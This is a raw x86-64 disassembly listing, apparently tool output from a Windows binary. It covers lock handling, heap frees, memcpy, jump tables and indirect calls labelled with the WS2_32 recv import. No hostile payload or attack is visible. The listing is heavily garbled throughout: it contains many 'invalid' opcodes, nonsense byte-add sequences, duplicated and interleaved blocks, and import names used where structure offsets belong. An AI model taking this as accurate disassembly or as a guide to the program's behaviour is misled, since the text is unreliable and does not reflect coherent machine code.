mov dword [rbp + 0xc38], r9d
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x178], rax
test dword [rax + 1], edi
add byte [rax], al
test dword [rax + 1], edi
add byte [rax], al
mov byte [rbp + 0xc35], 1
mov rdi, qword [rbp + 0xbe0]
mov ebp, 0xbe0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8581
xor ebx, ebx
mov rsi, qword [rbp + 0xc10]
mov r12d, dword [rbp + 0xc20]
movsd dword [rdi], dword [rsi]
and byte [rax + rax], cl
add byte [rbx + rcx*4 - 0x53], cl
or al, 0
invalid
movsd dword [rdi], dword [rsi]
and byte [rax + rax], cl
add byte [rbx + rcx*4 - 0x53], cl
or al, 0
add byte [rdi], cl
mov dh, 0x47
or byte [rax + rax*8 + 0x74e7850f], al
test al, al
jne 0x1400fd761
mov ebp, dword [rbp + 0xc40]
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400fd761
lea rax, [rdi + 0x10]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0xc50]
push rax
or al, 0
add byte [rax - 0x77], cl
test eax, ebx
invalid
add byte [rax], al
add byte [rbx + 0xc38bd], cl
add byte [rcx + 0x6e0bd], cl
invalid
add byte [rax], al
mov dword [rbp + 0x6e4], r12d
in al, 6
add byte [rax], al
push rax
or al, 0
add byte [rax - 0x77], cl
test eax, ebx
invalid
add byte [rbx + 0xc38bd], cl
add byte [rcx + 0x6e0bd], cl
invalid
add byte [rax], al
invalid
invalid
movsd dword [rdi], dword [rsi]
invalid
in al, 6
add byte [rax], al
lea rax, [rbp + 0x178]
mov qword [rbp + 0x938], rax
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edi
or dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x1c0]
mov r8d, 0x118
add byte [rax], al
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x1c0]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x170]
add byte [rax], al
mov qword [rbp + 0x940], rax
mov dword [rbp + 0x700], edi
mov dword [rbp + 0x704], r12d
cmp qword [rsi + 0x1b8], r14
mov dword [rbp + 0xbc8], ebx
jbe 0x1400fd2d9
mov rax, qword [rsi + 0x1a8]
test rax, rax
je 0x1400fd2d9
cmp dword [rax + r13], 2
je 0x1400fd2d9
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400fd2d9
mov bl, reloc.WS2_32.dll_WSAGetLastError
add byte [rax], al
mov bl, reloc.WS2_32.dll_WSAGetLastError
add byte [rax], al
mov qword [rbp + 0xc00], r14
mov r14d, dword [rax + 0x48]
lea rcx, [rbp + 0x970]
add byte [rax], al
add byte [rax], al
lea rdx, [rbp + 0x820]
mov r8d, 0x128
mov qword [rbp + 0xc50], rax
mov dword [rbp + 0xc50], eax
mov dword [rbp + 0xc50], eax
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rbp + 0xc50]
mov dword [rbp + 0x5d0], edi
lea rax, [rbp + 0x5d4]
mov dword [rbp + 0x5d4], r12d
cmp dword [r8], 2
je 0x1400fd497
cmp dword [r8 + 0x114], r12d
jne 0x1400fd497
lea r15, [rsi + 0x160]
lea rsi, [r8 + 0x50]
movzx ecx, byte [r8 + 0x50]
add cl, 0xfa
movzx edx, cl
cmp dl, 6
mov ecx, 6
cmovb ecx, edx
cmp cl, 4
ja case.0x1400f63be.249
movzx ecx, cl
lea rdx, [0x1401ef030]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rax, qword [rbp + 0xa88]
mov rax, qword [rax]
mov qword [rbp + 0xbd0], rax
lea rcx, [rbp + 0x700]
lea rdx, [rbp + 0x1c0]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
mov r11, qword [rbp + 0xc50]
mov dword [rbp + 0x4e0], edi
lea rax, [rbp + 0x4e4]
mov dword [rbp + 0x4e4], r12d
cmp dword [r11], 2
je 0x1400fd6f0
cmp dword [r11 + 0x114], r12d
jne 0x1400fd6f0
movzx eax, byte [rsi]
lea ecx, [rax - 6]
movzx edx, cl
cmp dl, 6
mov r9d, 6
cmovb r9d, edx
cmp r9b, 4
mov dword [rbp + 0x6e8], r14d
mov qword [rbp + 0x960], r15
ja case.0x1400f646b.1
movzx edx, word [rbp + 0x7f8]
movzx r8d, byte [rbp + 0x814]
movzx r9d, r9b
lea r10, [0x1401ef044]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
test r8b, 1
jne 0x1400f8590
add edx, 0xffffff38
cmp dx, 0xff9c
setb byte [rbp + 0x968]
mov byte [rbp + 0xbf0], 9
mov dword [rbp + 0xbf8], 0
jmp 0x1400f85a1
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rcx], 2
je 0x1400fd426
cmp dword [rcx + 0x114], esi
jne 0x1400fd426
movzx edx, byte [rcx + 0x50]
add dl, 0xfa
movzx r8d, dl
cmp r8b, 6
mov edx, 6
cmovb edx, r8d
cmp dl, 3
je 0x1400f6dff
movzx edx, dl
cmp edx, 4
jne 0x1400f6e09
cmp byte [rcx + 0x51], 0
je 0x1400f6e09
mov ecx, dword [r15 + 0x48]
xor edx, edx
test ecx, ecx
cmovg edx, ecx
cmp edx, r14d
jb 0x1400f652d
test r14d, r14d
je 0x1400f89c5
sub ecx, r14d
jl 0x1400fde57
jo 0x1400f652d
mov dword [r15 + 0x48], ecx
mov ecx, dword [r15 + 0x4c]
sub ecx, r14d
jno 0x1400f89c1
xorps xmm0, xmm0
mov dword [rbp + 0x824], 3
lea rax, [0x1401b9e38]
mov qword [rbp + 0x828], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x830], rax
movups xmmword [rbp + 0x838], xmm0
mov word [rbp + 0x820], 0x101
jmp 0x1400f6e42
cmp esi, dword [r13 + 0xa8]
jbe 0x1400f6b9a
mov bl, 3
jmp 0x1400f9841
mov eax, dword [rax + rcx + 0xc]
mov qword [rbp + 0x970], rdi
mov dword [rbp + 0x978], eax
mov dword [rbp + 0x97c], esi
lea rcx, [r13 + 0xb0]
lea rax, [r13 + 0x160]
lea rdx, [r13 + 0x150]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x970]
mov edx, ebx
call fcn.1400f46a0
mov r15, qword [rbp + 0xc20]
mov eax, dword [rbp + 0xc38]
test al, al
jne 0x1400f67f6
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f897e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov bl, 3
mov sil, 1
cmp byte [rbp + 0xc40], 0
mov rdi, qword [rbp + 0xc50]
jne 0x1400f70dc
jmp 0x1400f70c9
mov r10d, dword [r10 + rcx + 0xc]
mov dword [rbp + 0xaa0], r10d
lea rax, [rbp + 0xaa4]
mov dword [rbp + 0xaa4], r15d
cmp qword [rbx + 0x1b8], r10
jbe 0x1400fd3b5
mov rdi, qword [rbx + 0x1a8]
test rdi, rdi
je 0x1400fd3b5
imul r11, r10, 0x130
cmp dword [rdi + r11], 2
je 0x1400fd3b5
add rdi, r11
cmp dword [rdi + 0x114], r15d
jne 0x1400fd3b5
movzx eax, byte [rdi + 0x50]
lea ecx, [rax - 6]
movzx r9d, cl
cmp r9b, 6
mov ecx, 6
cmovb ecx, r9d
cmp cl, 1
je 0x1400f749e
movzx ecx, cl
cmp ecx, 5
je 0x1400f749e
cmp ecx, 6
jne 0x1400f747e
lea ecx, [rax - 3]
cmp cl, 3
movzx ecx, cl
mov edx, 1
cmovae ecx, edx
test cl, cl
lea r15, [0x1401b9e38]
lea r12, [0x1401ea218]
je 0x1400f8503
movzx ecx, cl
cmp ecx, 1
jne 0x1400f8515
movzx eax, al
test rax, rax
je 0x1400f8d90
cmp eax, 1
jne 0x1400f8daf
mov rax, qword [rdi + 0x58]
mov r8, qword [rdi + 0x60]
mov rax, qword [rax]
lea rdx, [rdi + 0x70]
mov r9, qword [rdi + 0x68]
mov byte [rbp + 0xc4c], 1
lea rcx, [rbp + 0x970]
call rax
mov eax, dword [rdi + 0x54]
mov dword [rbp + 0xbe8], eax
movzx eax, byte [rdi + 0x51]
mov byte [rbp + 0xbe0], al
mov r15, qword [rbp + 0x970]
mov r12, qword [rbp + 0x978]
movdqu xmm6, xmmword [rbp + 0x980]
jmp 0x1400f8530
cmp byte [r13 + 0x1a0], 0
setne al
xor al, sil
test al, 1
je 0x1400f7068
cmp dword [r13 + 0xb0], 0
mov eax, dword [rbp + 0xc38]
jne 0x1400f67df
mov r14d, 1
cmp dword [r13 + 0xb4], esi
jbe 0x1400f7089
jmp 0x1400f67df
test esi, esi
je 0x1400f6bd5
test r8b, r8b
setne dl
xor dl, sil
lea r8, [r13 + 0xb0]
lea r9, [r13 + 0x14]
lea rcx, [r13 + 0xb4]
test dl, 1
cmovne rax, r8
cmove rcx, r9
cmp dword [rax], 0
jne 0x1400f7b8d
cmp dword [rcx], esi
ja 0x1400f7b8d
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x440], xmm0
lea rdi, [0x1401b9e38]
mov bl, 1
mov esi, 1
jmp 0x1400f9841
cmp byte [rcx + 0x52], 0
jne 0x1400f64f8
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
mov word [rbp + 0x820], 0x101
mov dword [rbp + 0x824], 1
lea rax, [0x1401b9e38]
mov qword [rbp + 0x828], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x830], rax
xor esi, esi
lea rcx, [rbp + 0x1d8]
mov rax, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rax + 0x10]
mov byte [rbp + 0xc1f], 0
mov r8, rdi
call rax
mov rax, qword [rbp + 0x360]
test sil, sil
mov r8, qword [rbp + 0xc50]
je 0x1400f6eaa
mov ecx, dword [rax + 0x4c]
lea edx, [r14 + rcx]
shl rdx, 0x20
add ecx, r14d
movabs rcx, 0x300000001
cmovno rcx, rdx
sub dword [rax + 0x90], r14d
test cl, cl
jne 0x1400f6eaa
shr rcx, 0x20
mov dword [rax + 0x4c], ecx
lea rsi, [r8 + 0x160]
mov r9, qword [rbp + 0x2e0]
movzx ecx, byte [rbp + 0x820]
mov rdx, qword [rbp + 0x821]
mov r8d, dword [rbp + 0x829]
movzx r10d, word [rbp + 0x82d]
movzx r11d, byte [rbp + 0x82f]
movups xmm0, xmmword [rbp + 0x830]
mov byte [rbp + 0x970], cl
mov qword [rbp + 0x971], rdx
mov dword [rbp + 0x979], r8d
mov word [rbp + 0x97d], r10w
mov byte [rbp + 0x97f], r11b
mov rcx, qword [rbp + 0x840]
mov qword [rbp + 0x990], rcx
movaps xmmword [rbp + 0x980], xmm0
cmp byte [rbp + 0x970], 0
je 0x1400f6f51
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0xac0], rax
movups xmm0, xmmword [rbp + 0x820]
movups xmm1, xmmword [rbp + 0x830]
movaps xmmword [rbp + 0xab0], xmm1
movaps xmmword [rbp + 0xaa0], xmm0
jmp 0x1400f6f8e
mov edx, dword [rbp + 0x978]
movzx r8d, byte [rbp + 0x971]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x20], rax
call fcn.1400d5330
mov byte [rbp + 0xaa0], 3
mov eax, dword [rbp + 0xc10]
cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rbp + 0x4e0]
mov rcx, rsi
call fcn.140023890
movzx ebx, byte [rbp + 0xaa0]
movzx r15d, byte [rbp + 0xaa1]
movzx r13d, word [rbp + 0xaa2]
mov esi, dword [rbp + 0xaa4]
mov edi, dword [rbp + 0xaa8]
mov r14d, dword [rbp + 0xaac]
mov r12, qword [rbp + 0xab0]
movups xmm0, xmmword [rbp + 0xab8]
movaps xmmword [rbp + 0x440], xmm0
cmp byte [rbp + 0xc20], 0
jne 0x1400f7007
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8b17
mov byte [rbp + 0xc2e], 0
mov rcx, qword [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rbp + 0xc38], 0
jne 0x1400f9881
jmp 0x1400f9872
cmp dword [r13 + 0x10], 0
mov eax, dword [rbp + 0xc38]
jne 0x1400f67df
mov r14d, 1
cmp dword [r13 + 0x14], esi
ja 0x1400f67df
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
test al, al
jne 0x1400f70ac
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f93f9
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov bl, 1
xor esi, esi
cmp byte [rbp + 0xc40], 0
mov rdi, qword [rbp + 0xc50]
jne 0x1400f70dc
mov rax, qword [0x14023c300]
shl rax, 1
shl eax, 1
test rax, rax
jne 0x1400f8555
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test sil, sil
jne case.0x1400f4a9e.2
mov rcx, qword [rbp + 0x958]
mov byte [rcx + 9], 1
mov dword [rcx + 0xc], r14d
lea rax, [0x1401b9e38]
mov qword [rcx + 0x10], rax
lea rax, [0x1401ea218]
mov qword [rcx + 0x18], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
movdqu xmmword [rcx + 0x20], xmm0
mov byte [rcx + 8], bl
mov dword [rcx], 1
jmp 0x1400fa77a
mov rax, qword [rbp + 0xc50]
mov r8, qword [rax + 0x130]
test r8, r8
je 0x1400f72ed
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x138], 0
je 0x1400f72ed
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x990]
mov r9, qword [rbp + 0xc40]
mov qword [r9 + 0x20], rax
movzx eax, word [rbp + 0x970]
movzx ecx, word [rbp + 0x972]
mov edx, dword [rbp + 0x974]
mov r8, qword [rbp + 0x978]
movdqa xmm0, xmmword [rbp + 0x980]
movdqu xmmword [r9 + 0x10], xmm0
mov word [r9], ax
mov word [r9 + 2], cx
mov dword [r9 + 4], edx
mov qword [r9 + 8], r8
cmp byte [rbp + 0xbc8], 0
mov r14, qword [rbp + 0xbe0]
jne 0x1400f735c
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8be9
mov bl, 3
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rbp + 0xbe8], 0
jne 0x1400f7383
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f8538
mov byte [rbp + 0xc1e], 1
mov rcx, qword [rbp + 0xc50]
push rax
or al, 0
add bh, bh
adc eax, 0x97cc9
cmp edi, r15d
jae 0x1400f73f4
mov byte [rsi + 9], 1
mov dword [rsi + 0xc], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xc2a8a
mov qword [rsi + 0x10], rax
lea rax, [0x1401ea218]
mov qword [rsi + 0x18], rax
movdqa xmm0, xmmword [rbp]
movdqu xmmword [rsi + 0x20], xmm0
mov byte [rsi + 8], bl
mov dword [rsi], 1
lea rcx, [rbp + 0xab8]
add byte [rax], al
mov rax, qword [rbp + 0xaa0]
mov rdx, qword [rbp + 0xaa8]
test al, 0xa
add byte [rax], al
mov r8, qword [rbp + 0xab0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400fa77a
xor eax, dword [rax]
invalid
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0x990], rax
movaps xmm0, xmmword [rbp + 0xaa0]
movaps xmm1, xmmword [rbp + 0xab0]
movaps xmmword [rbp + 0x980], xmm1
movaps xmmword [rbp + 0x970], xmm0
mov rax, qword [rbp + 0xc00]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0xc50], rax
mov rax, qword [rax]
test rax, rax
je 0x1400f744e
mov r8, qword [rbp + 0xc50]
lea rcx, [r8 + 0x18]
mov rdx, qword [r8 + 8]
push rax
or byte [rbp - 0x75], cl
adc dil, dil
push rax
invalid
mov rax, qword [rbp + 0x990]
mov rcx, qword [rbp + 0xc50]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x970]
movq mm0, qword [rbp + 0x970]
movdqa xmm1, xmmword [rbp + 0x980]
movdqu xmmword [rcx + 0x10], xmm1
movq qword [rcx + 0x10], mm1
movdqu xmmword [rcx], xmm0
jmp case.0x1400f4a9e.2
add byte [rax], al
cmp byte [rbx + 0xac], 0
je 0x1400f749e
cmp dword [rbx + 0x18], 0
jne 0x1400fe059
cmp byte [rbx + 0x1a0], 0
je 0x1400f85b8
mov r14b, 1
lea r15, [0x1401b9e38]
lea r12, [0x1401ea218]
cmp qword [rbp + 0x720], 0
je 0x1400f74cf
mov r8, qword [rbp + 0x718]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400f7528
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
add dword [rax], ebx
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
test dword [rax], esp
or al, 0
invalid
je 0x1400f7586
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
lea eax, [rax + 0xc]
add byte [rax], al
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400f7500
invalid
movabs byte [0x4c00000c40858b4c], al
mov ecx, dword [rbp + 0xc50]
or al, 0
invalid
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
or al, 0
invalid
or al, 0
add byte [rbx - 0x73], cl
lea ecx, [rcx + rax]
lea rcx, [r9 + r8]
lea ecx, [rcx + rax]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f7500
invalid
invalid
invalid
cmp qword [rbp + 0x730], 0
je 0x1400f75a6
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x14023c258]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
or dword [rax], eax
or dword [rax], eax
mov rax, qword [rbp + 0x740]
mov rcx, qword [rbp + 0x750]
mov qword [rbp + 0xc40], rcx
add byte [rax], al
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
cmp byte [rcx], sil
ror byte [rax - 0x77], 0x85
mov dword [rbp + 0xc50], eax
test dword [rax], edi
or al, 0
add byte [rax - 0x73], cl
cmp byte [rcx], sil
ror byte [rax - 0x77], 0x85
mov dword [rbp + 0xc50], eax
nop
invalid
invalid
invalid
push rax
mov dword [rbp + 0xc50], eax
nop
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
test dword [rax + 0xc], eax
add byte [rax], al
or al, 0
add byte [rax + 0x39], cl
test dword [rax + 0xc], eax
add byte [rax], al
je 0x1400f75ff
inc qword [rbp + 0xc50]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400f75d0
cmp qword [rbp + 0x748], 0
je 0x1400f761f
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
or dword [rax], eax
test dword [rax], edi
or al, 0
add bh, bh
adc eax, 0x97a09
or dword [rax], eax
or dword [rax], eax
movzx eax, byte [rbp + 0x760]
cmp al, 0xb
je 0x1400f764e
invalid
and al, 0x3c
or dh, byte [rdx + 0x20]
cmp al, 0xa
jb 0x1400f764e
cmp qword [rbp + 0x770], 0
jo 0x1400f763a
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x768]
add byte [rax], al
add byte [rax], al
je 0x1400f764e
mov r8, qword [rbp + 0x768]
test dword [rax + 7], ebp
add byte [rax], al
mov rcx, qword [0x14023c258]
or eax, 0x144c12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x75], cl
test dword [rax + 7], edi
add byte [rax], al
mov rax, qword [rbp + 0x778]
test rax, rax
je 0x1400f7672
lea rcx, [rbp + 0x790]
mov rdx, qword [rbp + 0x780]
mov r8, qword [rbp + 0x788]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x798]
test rax, rax
je 0x1400f7696
lea rcx, [rbp + 0x7b0]
mov rdx, qword [rbp + 0x7a0]
mov r8, qword [rbp + 0x7a8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x7b8]
test rax, rax
je 0x1400f76ba
lea rcx, [rbp + 0x7d0]
mov rdx, qword [rbp + 0x7c0]
mov r8, qword [rbp + 0x7c8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x7d8]
test rax, rax
je 0x1400f76e0
lea rcx, [rbp + 0x7f0]
mov rdx, qword [rbp + 0x7e0]
mov r8, qword [rbp + 0x7e8]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f76e0
cmp byte [rbp + 0xc00], 0
mov rsi, qword [rbp + 0xc10]
jne 0x1400f7703
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f856b
mov byte [rbp + 0xc0d], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp r14b, 3
je case.0x1400f4a9e.2
mov rax, qword [rbp + 0x958]
mov qword [rax + 0x18], r12
movdqu xmmword [rax + 0x20], xmm6
mov byte [rax + 8], r14b
movzx ecx, byte [rbp + 0xbe0]
mov byte [rax + 9], cl
mov word [rax + 0xa], di
mov ecx, dword [rbp + 0xbe8]
mov dword [rax + 0xc], ecx
mov dword [rax + 0x10], r15d
mov dword [rax + 0x14], r13d
jmp 0x1400fa774
cmp byte [r8 + 0x51], 0
jne case.0x1400f63be.249
jmp case.0x1400f63be.250
cmp byte [r8 + 0x52], 0
je case.0x1400f63be.250
test byte [rbp + 0xa84], 1
jne 0x1400f788e
mov dword [rbp + 0x5d0], edi
mov dword [rbp + 0x5d4], r12d
cmp dword [r8], 2
je 0x1400fd9cd
cmp dword [r8 + 0x114], r12d
jne 0x1400fd9cd
mov eax, dword [r8 + 0x114]
mov word [rbp + 0x5d0], 0x100
mov dword [rbp + 0x5d4], eax
mov dword [rbp + 0x5d8], 1
cmp qword [rbp + 0x990], 0
je 0x1400f77dd
mov r8, qword [rbp + 0x988]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x9a8]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
jmp 0x1400f782c
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400f79e2
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rcx
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
je 0x1400f7804
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
lea rcx, [r9 + r8]
add rcx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f7804
mov dword [rbp + 0x6e8], r14d
mov qword [rbp + 0x960], r15
mov rax, qword [rbp + 0xa88]
mov r15, qword [rax]
lea rcx, [rbp + 0x700]
lea rdx, [rbp + 0x1c0]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0xc50]
mov dword [rbp + 0x440], edi
lea r14, [rbp + 0x444]
mov dword [rbp + 0x444], r12d
cmp dword [rax], 2
je 0x1400fda3e
cmp dword [rax + 0x114], r12d
jne 0x1400fda3e
mov byte [rbp + 0xc30], 1
lea r13, [rbp + 0x5d0]
mov rcx, r13
mov rdx, rsi
call fcn.140029d30
movzx r12d, byte [rbp + 0x5d0]
cmp r12b, 3
jne case.0x1400ced76.197
mov dword [rbp + 0x4e0], edi
lea rax, [rbp + 0x4e4]
mov r12d, dword [rbp + 0xc20]
mov dword [rbp + 0x4e4], r12d
mov rcx, qword [rbp + 0xc10]
mov rdx, qword [rbp + 0xc00]
cmp qword [rcx + 0x1b8], rdx
jbe 0x1400fdb94
mov rcx, qword [rbp + 0xc10]
mov rcx, qword [rcx + 0x1a8]
test rcx, rcx
je 0x1400fdb94
mov rdx, qword [rbp + 0xc40]
cmp dword [rcx + rdx], 2
je 0x1400fdb94
add rcx, qword [rbp + 0xc40]
cmp dword [rcx + 0x114], r12d
jne 0x1400fdb94
cmp dword [rcx + 0x30], 2
jne 0x1400f8258
cmp qword [rcx + 0x38], 0
je 0x1400f8258
mov dword [rbp + 0x4e0], edi
mov dword [rbp + 0x4e4], r12d
cmp dword [rcx], 2
je 0x1400fe297
cmp dword [rcx + 0x114], r12d
jne 0x1400fe297
mov ebx, dword [rcx + 0x114]
mov r13b, 1
mov r15d, 1
xor r12d, r12d
mov dword [rbp + 0xc00], eax
jmp 0x1400f7f16
cmp qword [rbp + 0x9a0], 0
je 0x1400f7a02
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x9b0]
mov rcx, qword [rbp + 0x9c0]
mov qword [rbp + 0xc40], rcx
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0xc50]
cmp qword [rbp + 0xc40], rax
je 0x1400f7a5d
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
lea rsi, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
jmp 0x1400f7a2b
cmp qword [rbp + 0x9b8], 0
je 0x1400f7a7d
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xc38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [rbp + 0x9d0]
cmp al, 0xb
je 0x1400f7aac
cmp al, 0xa
jb 0x1400f7aac
cmp qword [rbp + 0x9e0], 0
je 0x1400f7aac
mov r8, qword [rbp + 0x9d8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x9e8]
test rax, rax
je 0x1400f7ad0
lea rcx, [rbp + 0xa00]
mov rdx, qword [rbp + 0x9f0]
mov r8, qword [rbp + 0x9f8]
add byte [rax], al
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xa08]
test rax, rax
je 0x1400f7af4
lea rcx, [rbp + 0xa20]
mov rdx, qword [rbp + 0xa10]
mov r8, qword [rbp + 0xa18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xa28]
test rax, rax
je 0x1400f7b18
lea rcx, [rbp + 0xa40]
mov rdx, qword [rbp + 0xa30]
mov edx, dword [rbp + 0xa30]
mov r8, qword [rbp + 0xa38]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xa48]
test rax, rax
je 0x1400fa663
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xa60]
mov rdx, qword [rbp + 0xa50]
or al, byte [rax]
add byte [rbx + rcx*4 - 0x7b], cl
pop rax
or al, byte [rax]
add dh, al
test dword [rdx], esi
or al, 0
add byte [rax], al
call rax
jmp 0x1400fa663
mov rax, qword [rbp + 0x10]
test rax, 0xffffffff80000000
jne 0x1400fde33
mov ecx, dword [r13 + 0x58]
xor edx, edx
test ecx, ecx
cmovg edx, ecx
cmp edx, eax
jb 0x1400f7bce
test eax, eax
je 0x1400f97fa
sub ecx, eax
jl 0x1400fe3ea
jo 0x1400f7bce
mov dword [r13 + 0x58], ecx
mov ecx, dword [r13 + 0x5c]
sub ecx, eax
jno 0x1400f97f6
add byte [rax], al
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x440], xmm0
lea rdi, [0x1401b9e38]
mov bl, 1
mov esi, 3
jmp 0x1400f9841
add byte [rax], al
call fcn.14018d880
xor al, 1
movzx ecx, byte [rsi + 8]
test cl, cl
je 0x1400f4db4
mov qword [rbp + 0x970], rsi
